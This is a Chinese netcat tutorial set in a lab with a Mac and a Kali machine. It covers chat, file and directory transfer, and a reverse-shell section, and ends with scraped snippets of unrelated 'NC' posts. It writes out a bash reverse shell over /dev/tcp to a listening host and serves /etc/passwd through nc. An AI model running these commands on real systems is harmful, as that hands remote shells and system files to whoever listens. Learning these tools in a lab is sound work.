nc使用笔记

  netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。

  现内网中有两台机器:Mac: 192.168.1.109  Kali:192.168.1.110

网络聊天

  Server: 192.168.1.109

      starnight:~ starnight$ nc -l 12345    【服务器监听模式】

  Client:192.168.1.110

      [email protected]:~# nc 192.168.1.109 12345   【客户端进行连接】

 这样,在局域网内就能相互进行通讯了。

文件传输

  用nc能够进行文件传输,将要传输的文件重定向某个监听端口,然后另一方连接这个端口的时候,数据就能进行流动,完成文件传输。

发送文件

  Server: 192.168.1.109  

    starnight:test starnight$ nc -l 12345 < /etc/passwd

  Client: 192.168.1.110

    [email protected]:~/temp# nc 192.168.1.109 12345 > tmp

  可以看到Mac:192.168.1.109上的/etc/passwd已经传输到Kali上了。

接收文件

  Server:192.168.1.109 

    starnight:test starnight$ nc -l 12345 > tmp

  Client: 192.168.1.110

    [email protected]:~/temp# nc 192.168.1.109 12345 < 1.txt

目录传输

  传输目录其实跟传输单个文件是一样的,但是要在传输前将文件进行压缩,通过管道,这样就相当于是单个文件了。我们来看看...

  Server: 192.168.1.109  

    starnight:Desktop starnight$ tar -cvf - test/ | nc -l 4444

  Client: 192.168.1.110

    [email protected]:~/temp# nc -n 192.168.1.109 4444 | tar -xvf -    

  在Server将test文件夹打包之后,通过管道重定向到本机的4444端口,Client连接到Server的4444端口,接收数据直接解压,即可得到test目录。

反向连接

  一般来讲,我们最想要的是拿到一个shell,下面我们来看看该怎么做吧。

  Server: 192.168.1.107

    starnight:~ starnight$ nc -lvv 4444      [服务器端监听4444端口,等待反向连接]

  Client: 192.168.1.111

    [email protected]:~/temp# /bin/bash -i > /dev/tcp/192.168.1.107/4444 0<&1 2>&1  

就先总结到这吧...

时间: 2024-07-29 23:28:31

nc使用笔记的相关文章

NC入门笔记

简介: NC(全名NetCat),在网络界有"瑞士军刀"的美誉.它小巧而强悍,被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动.同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接. 使用格式: nc [options...] hostname port nc -l -p port [-s addr] [options...] [hostname] [port] 主要参数: -4 IPv4模式 -6 IPv6模式 -b, --bluetoot

NC开发笔记指导

原 用友 NC客户化开发手册 2013年08月03日 17:41:44 阅读数:12151 NC客户化开发手册 本手册是北京齐力创辉科技发展有限公司(TTS)内部培训资料,只限于公司内部应用,任何人未经过书面许可不得扩大本教程的使用范围.严禁任何非法传播.翻印或仿制,违者必究! ?本手册的著作权属于北京齐力创辉科技发展有限公司 前言 目录 前言 1 第一章 规范篇 2 1.1 代码规范 2 1.2 注释规范 2 1.3 异常规范 2 1.4 其他规范 2 第二章 基础篇 3 2.1 单据信息 3

NC 6.X笔记(编辑中)

1.参照多选 写在编辑前事件中 ((UIRefPane) editor.getBillCardPanel().getBodyItem("pk_wa_item").getComponent()).setMultiSelectedEnabled(true); 这个是表体  执行公式: public String getNameByID(String tablename, String name, String colNm, String id) { nc.ui.pub.formulapar

NC nc5.x笔记(编辑中)

一.设置卡片界面下 金额字段负数为红色! 1 /** 2 * 设置卡片界面下 金额字段负数为红色! 3 */ 4 private void repaintBodyMoneyColor(){ 5 if(!isListPanelSelected()){ 6 int rows = getBModel().getRowCount(); 7 if(rows>0){ 8 for(int i=0;i<rows;i++){ 9 CbGatheringBVO bvo = (CbGatheringBVO)getB

C++windows内核编程笔记day09_day10,对话框和窗口基本控件等的使用

//设置字体颜色 SetTextColor(hdc,RGB(255,0,0)); //窗口背景 //wce.hbrBackground=(HBRUSH)(COLOR_WINDOW+1); //wce.hbrBackground=CreateSolidBrush(RGB(0,0,255)); //设置字体背景 SetBkColor(hdc,RGB(0,0,200)); //设置字体背景模式 SetBkMode(hdc,TRANSPARENT);//字体背景透明 //创建字体,成功返回字体,失败返回

OpenCV(C++接口)学习笔记2-像素级的图像操作

1.通过成员函数at(int y, int x)访问 这种方法需要知道像素保存的格式. (1) 这是为模板类型的函数,因为一个函数的返回类型只有在运行时才会知道. (2)这个函数返回的是一个向量即Vector,故有下标的操作. image.at<uchar>(j,i)= 255; 在单通道图像中,采用以上语句可以获取图像(i,j)处的灰度值(注:先行后列,一般用j表示行(rows),i表示列(cols)).如果是灰度图像的话,只需要更改一个数据就可以了.如果是rgb图像的话,就要用"

安装storm的一些很乱的笔记

下面是自己安装和测试storm的一些笔记,比较乱,后续有时间在整理一篇. storm jar all-my-code.jar com.storm.MyTopology arg1 arg2这个命令会运行主类: com.strom.MyTopology, 参数是arg1, arg2.这个类的main函数定义这个topology并且把它提交给Nimbus.storm jar负责连接到Nimbus并且上传jar包. activate和deactivate是在spout被activate或deactiva

MySQL恢复备份读书笔记

1. 任何执行时间长于 wait_timeout或interactive_timeout选项值得备份,都会导致会话被关闭,这也会隐含执行UNLOCK TABLES命令.2. 对于使用FLUSH TABLES WITH READ LOCK的备份策略来讲,一个共同的缺陷是它们需要两个独立的线程来完成备份过程.运行FLUSH TABLES WITH READ LOCK命令, 然后从当前连接退出将自动执行一条UNLOCK TABLES命令.从FLUSH TABLES WITH READ LOCK成功返回

【安全牛学习笔记】SMB扫描

SMB扫描 ╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋┃SMB扫描                                                                     ┃┃nmap -v -p 139,134 192.168.60.1-20                                          ┃┃nmap 192.168.1.132 -p139,445 --script=smb-os-disc